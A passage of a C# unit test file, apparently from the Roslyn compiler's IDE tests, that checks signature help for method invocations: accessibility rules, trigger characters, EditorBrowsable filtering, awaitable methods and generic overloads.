public class Derived : Base { void Test() { this.Foo($$); } }"; var expectedOrderedItems = new List<SignatureHelpTestItem> { new SignatureHelpTestItem( @"void Base.Foo(int x)", methodDocumentation: string.Empty, parameterDocumentation: string.Empty, currentParameterIndex: 0, description: string.Empty) }; await TestAsync(markup, expectedOrderedItems); } [WorkItem(968188, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/968188")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationOnThisExpression_ProtectedAccessibility_AbstractBase_Overridden() { var markup = @" using System; public abstract class Base { protected abstract void Foo(int x); } public class Derived : Base { void Test() { this.Foo($$); } protected override void Foo(int x) { throw new NotImplementedException(); } }"; var expectedOrderedItems = new List<SignatureHelpTestItem> { new SignatureHelpTestItem( @"void Derived.Foo(int x)", methodDocumentation: string.Empty, parameterDocumentation: string.Empty, currentParameterIndex: 0, description: string.Empty) }; await TestAsync(markup, expectedOrderedItems); } [WorkItem(968188, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/968188")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationOnBaseExpression_ProtectedInternalAccessibility() { var markup = @" using System; public class Base { protected internal void Foo(int x) { } } public class Derived : Base { void Test() { base.Foo($$); } protected override void Foo(int x) { throw new NotImplementedException(); } }"; var expectedOrderedItems = new List<SignatureHelpTestItem> { new SignatureHelpTestItem( @"void Base.Foo(int x)", methodDocumentation: string.Empty, parameterDocumentation: string.Empty, currentParameterIndex: 0, description: string.Empty) }; await TestAsync(markup, expectedOrderedItems); } [WorkItem(968188, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/968188")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationOnBaseMember_ProtectedAccessibility_ThroughType() { var markup = @" using System; public class Base { protected virtual void Foo(int x) { } } public class Derived : Base { void Test() { new Base().Foo($$); } protected override void Foo(int x) { throw new NotImplementedException(); } }"; await TestAsync(markup, null); } [WorkItem(968188, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/968188")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationOnBaseExpression_PrivateAccessibility() { var markup = @" using System; public class Base { private void Foo(int x) { } } public class Derived : Base { void Test() { base.Foo($$); } protected override void Foo(int x) { throw new NotImplementedException(); } }"; await TestAsync(markup, null); } #endregion #region "Current Parameter Name" [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestCurrentParameterName() { var markup = @" class C { void Foo(int someParameter, bool something) { Foo(something: false, someParameter: $$) } }"; await VerifyCurrentParameterNameAsync(markup, "someParameter"); } #endregion #region "Trigger tests" [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationOnTriggerParens() { var markup = @" class C { void Foo() { [|Foo($$|]); } }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void C.Foo()", string.Empty, null, currentParameterIndex: 0)); await TestAsync(markup, expectedOrderedItems, usePreviousCharAsTrigger: true); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationOnTriggerComma() { var markup = @" class C { void Foo(int a, int b) { [|Foo(23,$$|]); } }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void C.Foo(int a, int b)", string.Empty, string.Empty, currentParameterIndex: 1)); await TestAsync(markup, expectedOrderedItems, usePreviousCharAsTrigger: true); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestNoInvocationOnSpace() { var markup = @" class C { void Foo(int a, int b) { [|Foo(23, $$|]); } }"; await TestAsync(markup, usePreviousCharAsTrigger: true); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestTriggerCharacterInComment01() { var markup = @" class C { void Foo(int a) { Foo(/*,$$*/); } }"; await TestAsync(markup, Enumerable.Empty<SignatureHelpTestItem>(), usePreviousCharAsTrigger: true); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestTriggerCharacterInComment02() { var markup = @" class C { void Foo(int a) { Foo(//,$$ ); } }"; await TestAsync(markup, Enumerable.Empty<SignatureHelpTestItem>(), usePreviousCharAsTrigger: true); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestTriggerCharacterInString01() { var markup = @" class C { void Foo(int a) { Foo("",$$""); } }"; await TestAsync(markup, Enumerable.Empty<SignatureHelpTestItem>(), usePreviousCharAsTrigger: true); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public void TestTriggerCharacters() { char[] expectedCharacters = { ',', '(' }; char[] unexpectedCharacters = { ' ', '[', '<' }; VerifyTriggerCharacters(expectedCharacters, unexpectedCharacters); } #endregion #region "EditorBrowsable tests" [WorkItem(7336, "DevDiv_Projects/Roslyn")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task EditorBrowsable_Method_BrowsableStateAlways() { var markup = @" class Program { void M() { Foo.Bar($$ } }"; var referencedCode = @" public class Foo { [System.ComponentModel.EditorBrowsableAttribute(System.ComponentModel.EditorBrowsableState.Always)] public static void Bar() { } }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void Foo.Bar()", string.Empty, null, currentParameterIndex: 0)); await TestSignatureHelpInEditorBrowsableContextsAsync(markup: markup, referencedCode: referencedCode, expectedOrderedItemsMetadataReference: expectedOrderedItems, expectedOrderedItemsSameSolution: expectedOrderedItems, sourceLanguage: LanguageNames.CSharp, referencedLanguage: LanguageNames.CSharp); } [WorkItem(7336, "DevDiv_Projects/Roslyn")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task EditorBrowsable_Method_BrowsableStateNever() { var markup = @" class Program { void M() { Foo.Bar($$ } }"; var referencedCode = @" public class Foo { [System.ComponentModel.EditorBrowsableAttribute(System.ComponentModel.EditorBrowsableState.Never)] public static void Bar() { } }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void Foo.Bar()", string.Empty, null, currentParameterIndex: 0)); await TestSignatureHelpInEditorBrowsableContextsAsync(markup: markup, referencedCode: referencedCode, expectedOrderedItemsMetadataReference: new List<SignatureHelpTestItem>(), expectedOrderedItemsSameSolution: expectedOrderedItems, sourceLanguage: LanguageNames.CSharp, referencedLanguage: LanguageNames.CSharp); } [WorkItem(7336, "DevDiv_Projects/Roslyn")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task EditorBrowsable_Method_BrowsableStateAdvanced() { var markup = @" class Program { void M() { new Foo().Bar($$ } }"; var referencedCode = @" public class Foo { [System.ComponentModel.EditorBrowsableAttribute(System.ComponentModel.EditorBrowsableState.Advanced)] public void Bar() { } }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void Foo.Bar()", string.Empty, null, currentParameterIndex: 0)); await TestSignatureHelpInEditorBrowsableContextsAsync(markup: markup, referencedCode: referencedCode, expectedOrderedItemsMetadataReference: new List<SignatureHelpTestItem>(), expectedOrderedItemsSameSolution: expectedOrderedItems, sourceLanguage: LanguageNames.CSharp, referencedLanguage: LanguageNames.CSharp, hideAdvancedMembers: true); await TestSignatureHelpInEditorBrowsableContextsAsync(markup: markup, referencedCode: referencedCode, expectedOrderedItemsMetadataReference: expectedOrderedItems, expectedOrderedItemsSameSolution: expectedOrderedItems, sourceLanguage: LanguageNames.CSharp, referencedLanguage: LanguageNames.CSharp, hideAdvancedMembers: false); } [WorkItem(7336, "DevDiv_Projects/Roslyn")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task EditorBrowsable_Method_Overloads_OneBrowsableAlways_OneBrowsableNever() { var markup = @" class Program { void M() { new Foo().Bar($$ } }"; var referencedCode = @" public class Foo { [System.ComponentModel.EditorBrowsableAttribute(System.ComponentModel.EditorBrowsableState.Always)] public void Bar() { } [System.ComponentModel.EditorBrowsableAttribute(System.ComponentModel.EditorBrowsableState.Never)] public void Bar(int x) { } }"; var expectedOrderedItemsMetadataReference = new List<SignatureHelpTestItem>(); expectedOrderedItemsMetadataReference.Add(new SignatureHelpTestItem("void Foo.Bar()", string.Empty, null, currentParameterIndex: 0)); var expectedOrderedItemsSameSolution = new List<SignatureHelpTestItem>(); expectedOrderedItemsSameSolution.Add(new SignatureHelpTestItem("void Foo.Bar()", string.Empty, null, currentParameterIndex: 0)); expectedOrderedItemsSameSolution.Add(new SignatureHelpTestItem("void Foo.Bar(int x)", string.Empty, string.Empty, currentParameterIndex: 0)); await TestSignatureHelpInEditorBrowsableContextsAsync(markup: markup, referencedCode: referencedCode, expectedOrderedItemsMetadataReference: expectedOrderedItemsMetadataReference, expectedOrderedItemsSameSolution: expectedOrderedItemsSameSolution, sourceLanguage: LanguageNames.CSharp, referencedLanguage: LanguageNames.CSharp); } [WorkItem(7336, "DevDiv_Projects/Roslyn")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task EditorBrowsable_Method_Overloads_BothBrowsableNever() { var markup = @" class Program { void M() { new Foo().Bar($$ } }"; var referencedCode = @" public class Foo { [System.ComponentModel.EditorBrowsableAttribute(System.ComponentModel.EditorBrowsableState.Never)] public void Bar() { } [System.ComponentModel.EditorBrowsableAttribute(System.ComponentModel.EditorBrowsableState.Never)] public void Bar(int x) { } }"; var expectedOrderedItemsSameSolution = new List<SignatureHelpTestItem>(); expectedOrderedItemsSameSolution.Add(new SignatureHelpTestItem("void Foo.Bar()", string.Empty, null, currentParameterIndex: 0)); expectedOrderedItemsSameSolution.Add(new SignatureHelpTestItem("void Foo.Bar(int x)", string.Empty, string.Empty, currentParameterIndex: 0)); await TestSignatureHelpInEditorBrowsableContextsAsync(markup: markup, referencedCode: referencedCode, expectedOrderedItemsMetadataReference: new List<SignatureHelpTestItem>(), expectedOrderedItemsSameSolution: expectedOrderedItemsSameSolution, sourceLanguage: LanguageNames.CSharp, referencedLanguage: LanguageNames.CSharp); } [WorkItem(7336, "DevDiv_Projects/Roslyn")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task OverriddenSymbolsFilteredFromSigHelp() { var markup = @" class Program { void M() { new D().Foo($$ } }"; var referencedCode = @" public class B { public virtual void Foo(int original) { } } public class D : B { public override void Foo(int derived) { } }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void D.Foo(int derived)", string.Empty, string.Empty, currentParameterIndex: 0)); await TestSignatureHelpInEditorBrowsableContextsAsync(markup: markup, referencedCode: referencedCode, expectedOrderedItemsMetadataReference: expectedOrderedItems, expectedOrderedItemsSameSolution: expectedOrderedItems, sourceLanguage: LanguageNames.CSharp, referencedLanguage: LanguageNames.CSharp); } [WorkItem(7336, "DevDiv_Projects/Roslyn")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task EditorBrowsable_BrowsableStateAlwaysMethodInBrowsableStateNeverClass() { var markup = @" class Program { void M() { new C().Foo($$ } }"; var referencedCode = @" [System.ComponentModel.EditorBrowsableAttribute(System.ComponentModel.EditorBrowsableState.Never)] public class C { public void Foo() { } }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void C.Foo()", string.Empty, null, currentParameterIndex: 0)); await TestSignatureHelpInEditorBrowsableContextsAsync(markup: markup, referencedCode: referencedCode, expectedOrderedItemsMetadataReference: expectedOrderedItems, expectedOrderedItemsSameSolution: expectedOrderedItems, sourceLanguage: LanguageNames.CSharp, referencedLanguage: LanguageNames.CSharp); } [WorkItem(7336, "DevDiv_Projects/Roslyn")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task EditorBrowsable_BrowsableStateAlwaysMethodInBrowsableStateNeverBaseClass() { var markup = @" class Program { void M() { new D().Foo($$ } }"; var referencedCode = @" [System.ComponentModel.EditorBrowsableAttribute(System.ComponentModel.EditorBrowsableState.Never)] public class B { public void Foo() { } } public class D : B { public void Foo(int x) { } }"; var expectedOrderedItems = new List<SignatureHelpTestItem> { new SignatureHelpTestItem("void B.Foo()", string.Empty, null, currentParameterIndex: 0), new SignatureHelpTestItem("void D.Foo(int x)", string.Empty, string.Empty, currentParameterIndex: 0), }; await TestSignatureHelpInEditorBrowsableContextsAsync(markup: markup, referencedCode: referencedCode, expectedOrderedItemsMetadataReference: expectedOrderedItems, expectedOrderedItemsSameSolution: expectedOrderedItems, sourceLanguage: LanguageNames.CSharp, referencedLanguage: LanguageNames.CSharp); } [WorkItem(7336, "DevDiv_Projects/Roslyn")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task EditorBrowsable_BrowsableStateNeverMethodsInBaseClass() { var markup = @" class Program : B { void M() { Foo($$ } }"; var referencedCode = @" public class B { [System.ComponentModel.EditorBrowsableAttribute(System.ComponentModel.EditorBrowsableState.Never)] public void Foo() { } }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void B.Foo()", string.Empty, null, currentParameterIndex: 0)); await TestSignatureHelpInEditorBrowsableContextsAsync(markup: markup, referencedCode: referencedCode, expectedOrderedItemsMetadataReference: new List<SignatureHelpTestItem>(), expectedOrderedItemsSameSolution: expectedOrderedItems, sourceLanguage: LanguageNames.CSharp, referencedLanguage: LanguageNames.CSharp); } [WorkItem(7336, "DevDiv_Projects/Roslyn")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task EditorBrowsable_GenericTypeCausingMethodSignatureEquality_BothBrowsableAlways() { var markup = @" class Program { void M() { new C<int>().Foo($$ } }"; var referencedCode = @" public class C<T> { public void Foo(T t) { } public void Foo(int i) { } }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void C<int>.Foo(int t)", string.Empty, string.Empty, currentParameterIndex: 0)); expectedOrderedItems.Add(new SignatureHelpTestItem("void C<int>.Foo(int i)", string.Empty, string.Empty, currentParameterIndex: 0)); await TestSignatureHelpInEditorBrowsableContextsAsync(markup: markup, referencedCode: referencedCode, expectedOrderedItemsMetadataReference: expectedOrderedItems, expectedOrderedItemsSameSolution: expectedOrderedItems, sourceLanguage: LanguageNames.CSharp, referencedLanguage: LanguageNames.CSharp); } [WorkItem(7336, "DevDiv_Projects/Roslyn")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task EditorBrowsable_GenericTypeCausingMethodSignatureEquality_BrowsableMixed1() { var markup = @" class Program { void M() { new C<int>().Foo($$ } }"; var referencedCode = @" public class C<T> { [System.ComponentModel.EditorBrowsableAttribute(System.ComponentModel.EditorBrowsableState.Never)] public void Foo(T t) { } public void Foo(int i) { } }"; var expectedOrderedItemsMetadataReference = new List<SignatureHelpTestItem>(); expectedOrderedItemsMetadataReference.Add(new SignatureHelpTestItem("void C<int>.Foo(int i)", string.Empty, string.Empty, currentParameterIndex: 0)); var expectedOrderedItemsSameSolution = new List<SignatureHelpTestItem>(); expectedOrderedItemsSameSolution.Add(new SignatureHelpTestItem("void C<int>.Foo(int t)", string.Empty, string.Empty, currentParameterIndex: 0)); expectedOrderedItemsSameSolution.Add(new SignatureHelpTestItem("void C<int>.Foo(int i)", string.Empty, string.Empty, currentParameterIndex: 0)); await TestSignatureHelpInEditorBrowsableContextsAsync(markup: markup, referencedCode: referencedCode, expectedOrderedItemsMetadataReference: expectedOrderedItemsMetadataReference, expectedOrderedItemsSameSolution: expectedOrderedItemsSameSolution, sourceLanguage: LanguageNames.CSharp, referencedLanguage: LanguageNames.CSharp); } [WorkItem(7336, "DevDiv_Projects/Roslyn")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task EditorBrowsable_GenericTypeCausingMethodSignatureEquality_BrowsableMixed2() { var markup = @" class Program { void M() { new C<int>().Foo($$ } }"; var referencedCode = @" public class C<T> { public void Foo(T t) { } [System.ComponentModel.EditorBrowsableAttribute(System.ComponentModel.EditorBrowsableState.Never)] public void Foo(int i) { } }"; var expectedOrderedItemsMetadataReference = new List<SignatureHelpTestItem>(); expectedOrderedItemsMetadataReference.Add(new SignatureHelpTestItem("void C<int>.Foo(int t)", string.Empty, string.Empty, currentParameterIndex: 0)); var expectedOrderedItemsSameSolution = new List<SignatureHelpTestItem>(); expectedOrderedItemsSameSolution.Add(new SignatureHelpTestItem("void C<int>.Foo(int t)", string.Empty, string.Empty, currentParameterIndex: 0)); expectedOrderedItemsSameSolution.Add(new SignatureHelpTestItem("void C<int>.Foo(int i)", string.Empty, string.Empty, currentParameterIndex: 0)); await TestSignatureHelpInEditorBrowsableContextsAsync(markup: markup, referencedCode: referencedCode, expectedOrderedItemsMetadataReference: expectedOrderedItemsMetadataReference, expectedOrderedItemsSameSolution: expectedOrderedItemsSameSolution, sourceLanguage: LanguageNames.CSharp, referencedLanguage: LanguageNames.CSharp); } [WorkItem(7336, "DevDiv_Projects/Roslyn")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task EditorBrowsable_GenericTypeCausingMethodSignatureEquality_BothBrowsableNever() { var markup = @" class Program { void M() { new C<int>().Foo($$ } }"; var referencedCode = @" public class C<T> { [System.ComponentModel.EditorBrowsableAttribute(System.ComponentModel.EditorBrowsableState.Never)] public void Foo(T t) { } [System.ComponentModel.EditorBrowsableAttribute(System.ComponentModel.EditorBrowsableState.Never)] public void Foo(int i) { } }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void C<int>.Foo(int t)", string.Empty, string.Empty, currentParameterIndex: 0)); expectedOrderedItems.Add(new SignatureHelpTestItem("void C<int>.Foo(int i)", string.Empty, string.Empty, currentParameterIndex: 0)); await TestSignatureHelpInEditorBrowsableContextsAsync(markup: markup, referencedCode: referencedCode, expectedOrderedItemsMetadataReference: new List<SignatureHelpTestItem>(), expectedOrderedItemsSameSolution: expectedOrderedItems, sourceLanguage: LanguageNames.CSharp, referencedLanguage: LanguageNames.CSharp); } [WorkItem(7336, "DevDiv_Projects/Roslyn")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task EditorBrowsable_GenericType2CausingMethodSignatureEquality_BothBrowsableAlways() { var markup = @" class Program { void M() { new C<int, int>().Foo($$ } }"; var referencedCode = @" public class C<T, U> { public void Foo(T t) { } public void Foo(U u) { } }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void C<int, int>.Foo(int t)", string.Empty, string.Empty, currentParameterIndex: 0)); expectedOrderedItems.Add(new SignatureHelpTestItem("void C<int, int>.Foo(int u)", string.Empty, string.Empty, currentParameterIndex: 0)); await TestSignatureHelpInEditorBrowsableContextsAsync(markup: markup, referencedCode: referencedCode, expectedOrderedItemsMetadataReference: expectedOrderedItems, expectedOrderedItemsSameSolution: expectedOrderedItems, sourceLanguage: LanguageNames.CSharp, referencedLanguage: LanguageNames.CSharp); } [WorkItem(7336, "DevDiv_Projects/Roslyn")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task EditorBrowsable_GenericType2CausingMethodSignatureEquality_BrowsableMixed() { var markup = @" class Program { void M() { new C<int, int>().Foo($$ } }"; var referencedCode = @" public class C<T, U> { [System.ComponentModel.EditorBrowsableAttribute(System.ComponentModel.EditorBrowsableState.Never)] public void Foo(T t) { } public void Foo(U u) { } }"; var expectedOrderedItemsMetadataReference = new List<SignatureHelpTestItem>(); expectedOrderedItemsMetadataReference.Add(new SignatureHelpTestItem("void C<int, int>.Foo(int u)", string.Empty, string.Empty, currentParameterIndex: 0)); var expectedOrderedItemsSameSolution = new List<SignatureHelpTestItem>(); expectedOrderedItemsSameSolution.Add(new SignatureHelpTestItem("void C<int, int>.Foo(int t)", string.Empty, string.Empty, currentParameterIndex: 0)); expectedOrderedItemsSameSolution.Add(new SignatureHelpTestItem("void C<int, int>.Foo(int u)", string.Empty, string.Empty, currentParameterIndex: 0)); await TestSignatureHelpInEditorBrowsableContextsAsync(markup: markup, referencedCode: referencedCode, expectedOrderedItemsMetadataReference: expectedOrderedItemsMetadataReference, expectedOrderedItemsSameSolution: expectedOrderedItemsSameSolution, sourceLanguage: LanguageNames.CSharp, referencedLanguage: LanguageNames.CSharp); } [WorkItem(7336, "DevDiv_Projects/Roslyn")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task EditorBrowsable_GenericType2CausingMethodSignatureEquality_BothBrowsableNever() { var markup = @" class Program { void M() { new C<int, int>().Foo($$ } }"; var referencedCode = @" public class C<T, U> { [System.ComponentModel.EditorBrowsableAttribute(System.ComponentModel.EditorBrowsableState.Never)] public void Foo(T t) { } [System.ComponentModel.EditorBrowsableAttribute(System.ComponentModel.EditorBrowsableState.Never)] public void Foo(U u) { } }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void C<int, int>.Foo(int t)", string.Empty, string.Empty, currentParameterIndex: 0)); expectedOrderedItems.Add(new SignatureHelpTestItem("void C<int, int>.Foo(int u)", string.Empty, string.Empty, currentParameterIndex: 0)); await TestSignatureHelpInEditorBrowsableContextsAsync(markup: markup, referencedCode: referencedCode, expectedOrderedItemsMetadataReference: new List<SignatureHelpTestItem>(), expectedOrderedItemsSameSolution: expectedOrderedItems, sourceLanguage: LanguageNames.CSharp, referencedLanguage: LanguageNames.CSharp); } #endregion #region "Awaitable tests" [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task AwaitableMethod() { var markup = @" using System.Threading.Tasks; class C { async Task Foo() { [|Foo($$|]); } }"; var description = $@" {WorkspacesResources.Usage_colon} await Foo();"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem($"({CSharpFeaturesResources.awaitable}) Task C.Foo()", methodDocumentation: description, currentParameterIndex: 0)); await TestSignatureHelpWithMscorlib45Async(markup, expectedOrderedItems, "C#"); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task AwaitableMethod2() { var markup = @" using System.Threading.Tasks; class C { async Task<Task<int>> Foo() { [|Foo($$|]); } }"; var description = $@" {WorkspacesResources.Usage_colon} Task<int> x = await Foo();"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem($"({CSharpFeaturesResources.awaitable}) Task<Task<int>> C.Foo()", methodDocumentation: description, currentParameterIndex: 0)); await TestSignatureHelpWithMscorlib45Async(markup, expectedOrderedItems, "C#"); } #endregion [WorkItem(13849, "DevDiv_Projects/Roslyn")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestSpecificity1() { var markup = @" class Class1 { static void Main() { var obj = new C<int>(); [|obj.M($$|]) } } class C<T> { /// <param name=""t"">Generic t</param> public void M(T t) { } /// <param name=""t"">Real t</param> public void M(int t) { } }"; var expectedOrderedItems = new List<SignatureHelpTestItem> { new SignatureHelpTestItem("void C<int>.M(int t)", string.Empty, "Real t", currentParameterIndex: 0) }; await TestAsync(markup, expectedOrderedItems); } [WorkItem(530017, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/530017")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task LongSignature() { var markup = @" class C { void Foo(string a, string b, string c, string d, string e, string f, string g, string h, string i, string j, string k, string l, string m, string n, string o, string p, string q, string r, string s, string t, string u, string v, string w, string x, string y, string z) { [|Foo($$|]) } }"; var expectedOrderedItems = new List<SignatureHelpTestItem> { new SignatureHelpTestItem( signature: "void C.Foo(string a, string b, string c, string d, string e, string f, string g, string h, string i, string j, string k, string l, string m, string n, string o, string p, string q, string r, string s, string t, string u, string v, string w, string x, string y, string z)", prettyPrintedSignature: @"void C.Foo(string a, string b, string c, string d, string e, string f, string g, string h, string i, string j, string k, string l, string m, string n, string o, string p, string q, string r, string s, string t, string u, string v, string w, string x, string y, string z)", currentParameterIndex: 0) }; await TestAsync(markup, expectedOrderedItems); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task GenericExtensionMethod() { var markup = @" interface IFoo { void Bar<T>(); } static class FooExtensions { public static void Bar<T1, T2>(this IFoo foo) { } } class Program { static void Main() { IFoo f = null; [|f.Bar($$ |]} }"; var expectedOrderedItems = new List<SignatureHelpTestItem> { new SignatureHelpTestItem("void IFoo.Bar<T>()", currentParameterIndex: 0), new SignatureHelpTestItem($"({CSharpFeaturesResources.extension}) void IFoo.Bar<T1, T2>()", currentParameterIndex: 0), }; // Extension methods are supported in Interactive/Script (yet). await TestAsync(markup, expectedOrderedItems, sourceCodeKind: SourceCodeKind.Regular); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationWithCrefXmlComments() { var markup = @" class C { /// <summary> /// Summary for foo. See method <see cref=""Bar"" /> /// </summary> void Foo() { [|Foo($$|]); } void Bar() { } }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void C.Foo()", "Summary for foo. See method C.Bar()", null, currentParameterIndex: 0)); await TestAsync(markup, expectedOrderedItems); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task FieldUnavailableInOneLinkedFile() { var markup = @"<Workspace> <Project Language=""C#"" CommonReferences=""true"" AssemblyName=""Proj1"" PreprocessorSymbols=""FOO""> <Document FilePath=""SourceDocument""><![CDATA[ class C { #if FOO void bar() { } #endif void foo() { bar($$ } } ]]> </Document> </Project> <Project Language=""C#"" CommonReferences=""true"" AssemblyName=""Proj2""> <Document IsLinkFile=""true"" LinkAssemblyName=""Proj1"" LinkFilePath=""SourceDocument""/> </Project> </Workspace>"; var expectedDescription = new SignatureHelpTestItem($"void C.bar()\r\n\r\n{string.Format(FeaturesResources._0_1, "Proj1", FeaturesResources.Available)}\r\n{string.Format(FeaturesResources._0_1, "Proj2", FeaturesResources.Not_Available)}\r\n\r\n{FeaturesResources.You_can_use_the_navigation_bar_to_switch_context}", currentParameterIndex: 0); await VerifyItemWithReferenceWorkerAsync(markup, new[] { expectedDescription }, false); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task ExcludeFilesWithInactiveRegions() { var markup = @"<Workspace> <Project Language=""C#"" CommonReferences=""true"" AssemblyName=""Proj1"" PreprocessorSymbols=""FOO,BAR""> <Document FilePath=""SourceDocument""><![CDATA[ class C { #if FOO void bar() { } #endif #if BAR void foo() { bar($$ } #endif } ]]> </Document> </Project> <Project Language=""C#"" CommonReferences=""true"" AssemblyName=""Proj2""> <Document IsLinkFile=""true"" LinkAssemblyName=""Proj1"" LinkFilePath=""SourceDocument"" /> </Project> <Project Language=""C#"" CommonReferences=""true"" AssemblyName=""Proj3"" PreprocessorSymbols=""BAR""> <Document IsLinkFile=""true"" LinkAssemblyName=""Proj1"" LinkFilePath=""SourceDocument""/> </Project> </Workspace>"; var expectedDescription = new SignatureHelpTestItem($"void C.bar()\r\n\r\n{string.Format(FeaturesResources._0_1, "Proj1", FeaturesResources.Available)}\r\n{string.Format(FeaturesResources._0_1, "Proj3", FeaturesResources.Not_Available)}\r\n\r\n{FeaturesResources.You_can_use_the_navigation_bar_to_switch_context}", currentParameterIndex: 0); await VerifyItemWithReferenceWorkerAsync(markup, new[] { expectedDescription }, false); } [WorkItem(768697, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/768697")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task InstanceAndStaticMethodsShown1() { var markup = @" class C { Foo Foo; void M() { Foo.Bar($$ } } class Foo { public void Bar(int x) { } public static void Bar(string s) { } }"; var expectedOrderedItems = new List<SignatureHelpTestItem> { new SignatureHelpTestItem("void Foo.Bar(int x)", currentParameterIndex: 0), new SignatureHelpTestItem("void Foo.Bar(string s)", currentParameterIndex: 0) }; await TestAsync(markup, expectedOrderedItems); } [WorkItem(768697, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/768697")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task InstanceAndStaticMethodsShown2() { var markup = @" class C { Foo Foo; void M() { Foo.Bar($$""); } } class Foo { public void Bar(int x) { } public static void Bar(string s) { } }"; var expectedOrderedItems = new List<SignatureHelpTestItem> { new SignatureHelpTestItem("void Foo.Bar(int x)", currentParameterIndex: 0), new SignatureHelpTestItem("void Foo.Bar(string s)", currentParameterIndex: 0) }; await TestAsync(markup, expectedOrderedItems); } [WorkItem(768697, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/768697")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task InstanceAndStaticMethodsShown3() { var markup = @" class C { Foo Foo; void M() { Foo.Bar($$ } } class Foo { public static void Bar(int x) { } public static void Bar(string s) { } }"; var expectedOrderedItems = new List<SignatureHelpTestItem> { new SignatureHelpTestItem("void Foo.Bar(int x)", currentParameterIndex: 0), new SignatureHelpTestItem("void Foo.Bar(string s)", currentParameterIndex: 0) }; await TestAsync(markup, expectedOrderedItems); } [WorkItem(768697, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/768697")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task InstanceAndStaticMethodsShown4() { var markup = @" class C { void M() { Foo x; x.Bar($$ } } class Foo { public static void Bar(int x) { } public static void Bar(string s) { } }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); await 